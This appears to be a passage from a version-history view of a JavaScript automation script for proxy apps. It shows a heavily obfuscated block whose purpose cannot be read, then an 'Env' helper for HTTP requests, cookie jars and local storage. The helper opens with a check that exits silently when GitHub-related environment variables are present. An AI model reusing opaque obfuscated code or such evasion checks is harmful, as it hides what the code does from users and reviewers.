2024-09-23 07:51:45 +00:00
|
|
|
|
function _0x8D142CC(){}var _0x5A43284=Object['defineProperty'],_0x78A0BBA,_0xE24023,_0x48DDA78,_0x773AFC4,_0x2F54AD,_0x84E035,_0x2BA9FA,_0x9B1E64E,_0x93E222,_0x0DBE952,_0xB4A6C9,_0x5A1EC13,_0x05B30D6,_0x06B250,_0xF48507,_0xAC33EB,_0xF40CFB,_0x76C3271,_0xCB0442,_0xFE104C,_0x38EDBB,_0xC6F13F2,_0x40C749D,_0x100E49;function _0xACF03D(_0x8D142CC){return _0x78A0BBA[_0x8D142CC<0xf0?_0x8D142CC>0xf0?_0x8D142CC-0x59:_0x8D142CC>0xf0?_0x8D142CC-0x52:_0x8D142CC>0x2?_0x8D142CC-0x3:_0x8D142CC-0x3e:_0x8D142CC+0x32]}_0x78A0BBA=_0xC2CBC9();function _0x9F27A78(_0x8D142CC,_0x5A43284){var _0x48DDA78=_0xE7B9C33(_0x8D142CC=>{return _0x78A0BBA[_0x8D142CC<-0x2f?_0x8D142CC-0x3a:_0x8D142CC<0xbf?_0x8D142CC>0xbf?_0x8D142CC-0x42:_0x8D142CC+0x2e:_0x8D142CC-0xb]},0x1);return _0xE24023(_0x8D142CC,_0x48DDA78(-0xa),{value:_0x5A43284,configurable:_0x48DDA78(0x11)})}_0x8D142CC(_0xE24023=Object.defineProperty,_0x48DDA78=_0x9F27A78(_0xE7B9C33((..._0x5A43284)=>{var _0xE24023=_0xE7B9C33(_0x5A43284=>{return _0x78A0BBA[_0x5A43284>-0x12?_0x5A43284<-0x12?_0x5A43284-0x20:_0x5A43284>0xdc?_0x5A43284+0x4c:_0x5A43284+0x11:_0x5A43284+0x1e]},0x1);_0x8D142CC(_0x5A43284.length=_0xACF03D(0x4a),_0x5A43284[0xcb]=_0x5A43284[_0xE24023(-0x11)]);return _0x5A43284[0xcb](_0x5A43284[0x0]())}),0x2)(_0xA4EF39,_0xDCDC3AB));var _0x8CDC7AF=[],_0x565D601=[_0x6DB873(_0xACF03D(0x1f)),_0x6DB873(_0xACF03D(0x3)),_0x6DB873(0x2),_0x6DB873(0x3),_0x6DB873(0x4),_0x6DB873(0x5),_0x6DB873(_0xACF03D(0x22)),_0x6DB873(_0xACF03D(0x26)),_0x6DB873(0x8),_0x6DB873(0x9),_0x6DB873(0xa),_0x6DB873(0xb),_0x6DB873(0xc),_0x6DB873(_0xACF03D(0x40)),_0x6DB873(_0xACF03D(0x2a)),_0x6DB873(_0xACF03D(0x25)),_0x6DB873(0x10),_0x6DB873(0x11),'Rx*:Y9Wn/yDBNOT+_PMyB|yo5yDB;iY7AQ0G!^.9^)%j<ea+5g$?@9vSjb2_JON',_0x6DB873(0x12),_0x6DB873(0x13),_0x6DB873(_0xACF03D(0x46)),_0x6DB873(0x15),_0x6DB873(_0xACF03D(0xb2)),_0x6DB873(0x17),_0x6DB873(0x18),_0x6DB873(0x19),_0x6DB873(_0xACF03D(0x48)),_0x6DB873(0x1b),_0x6DB873(_0xACF03D(0x49)),_0x6DB873(0x1d),_0x6DB873(_0xACF03D(0x19)),_0x6DB873(_0xACF03D(0x18)),_0x6DB873(0x20),_0x6DB873(0x21),_0x6DB873(0x22),_0x6DB873(0x23),_0x6DB873(_0xACF03D(0x7)),_0x6DB873(0x24),_0x6DB873(0x25),_0x6DB873(_0xACF03D(0x55)),_0x6DB873(0x27),_0x6DB873(0x28),_0x6DB873(0x29),_0x6DB873(_0xACF03D(0x33)),_0x6DB873(_0xACF03D(0x34)),_0x6DB873(0x2b),_0x6DB873(0x2c),_0x6DB873(_0xACF03D(0x31)),_0x6DB873(0x2e),'5"D?B|193Z}VMTg}EK{MxtkLq',_0x6DB873(_0xACF03D(0x2c)),'=g8EQko|Mvx%V+@',_0x6DB873(0x30),_0x6DB873(_0xACF03D(0x10)),_0x6DB873(_0xACF03D(0x17)),_0x6DB873(_0xACF03D(0x1a)),_0x6DB873(_0xACF03D(0xce)),_0x6DB873(_0xACF03D(0x5e)),_0x6DB873(0x36),_0x6DB873(0x37),_0x6DB873(0x18),_0x6DB873(_0xACF03D(0x5)),_0x6DB873(_0xACF03D(0x6)),_0x6DB873(_0xACF03D(0x62)),_0x6DB873(0x3b),_0x6DB873(_0xACF03D(0x5f)),_0x6DB873(_0xACF03D(0x63)),_0x6DB873(_0xACF03D(0x4)),_0x6DB873(0x33),_0x6DB873(0x3e),_0x6DB873(_0xACF03D(0x23)),_0x6DB873(_0xACF03D(0x64)),_0x6DB873(0x37),_0x6DB873(0x41),_0x6DB873(0x42),_0x6DB873(0x43),_0x6DB873(0x44),_0x6DB873(_0xACF03D(0x51)),_0x6DB873(_0xACF03D(0x4)),_0x6DB873(_0xACF03D(0xca)),':}0}6q9">,F#Jv<>1o>bHNd+n[vG~P}LA.7&=|M1M}(/^?&8F1sxMDU4HBx"v}W&>#>bHNd+n[vG~P}LA.7&=|M1M}(/^?&8F1sxMDU4HBx"v}W&>#>bHNd+n[vG~P}LA.7&=|M1G',_0x6DB873(_0xACF03D(0x66)),_0x6DB873(_0xACF03D(0x5)),_0x6DB873(_0xACF03D(0x6)),_0x6DB873(_0xACF03D(0x8)),_0x6DB873(_0xACF03D(0x68)),_0x6DB873(0x4a),_0x6DB873(0x4b),_0x6DB873(_0xACF03D(0xc)),_0x6DB873(0x4c),_0x6DB873(0x4d),_0x6DB873(0x4e),_0x6DB873(0x4f),_0x6DB873(_0xACF03D(0x72)),_0x6DB873(0x51),_0x6DB873(_0xACF03D(0x77)),_0x6DB873(_0xACF03D(0x7a)),_0x6DB873(0x54),_0x6DB873(0x55),_0x6DB873(_0xACF03D(0x3c)),_0x6DB873(0x57),_0x6DB873(_0xACF03D(0x3f)),_0x6DB873(0x59),_0x6DB873(_0xACF03D(0x11)),_0x6DB873(_0xACF03D(0xd)),_0x6DB873(0x5c),_0x6DB873(0x5d),_0x6DB873(_0xACF03D(0x14)),_0x6DB873(_0xACF03D(0x79)),_0x6DB873(_0xACF03D(0x7c)),_0x6DB873(0x61),_0x6DB873(_0xACF03D(0x7d)),'|<iE','?6Q{fV*x7ZA|ZcA!T7XyS5BKrV+Sx|B1I4<?x&53@y/',_0x6DB873(0x22),_0x6DB873(0x63),_0x6DB873(_0xACF03D(0x7e)),_0x6DB873(_0xACF03D(0x69)),'_PMyB|rc',_0x6DB873(_0xACF03D(0x1d)),_0x6DB873(0x67),_0x6DB873(0x68),_0x6DB873(0x69),_0x6DB873(_0xA
|
2024-06-28 07:47:44 +00:00
|
|
|
|
function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"])
|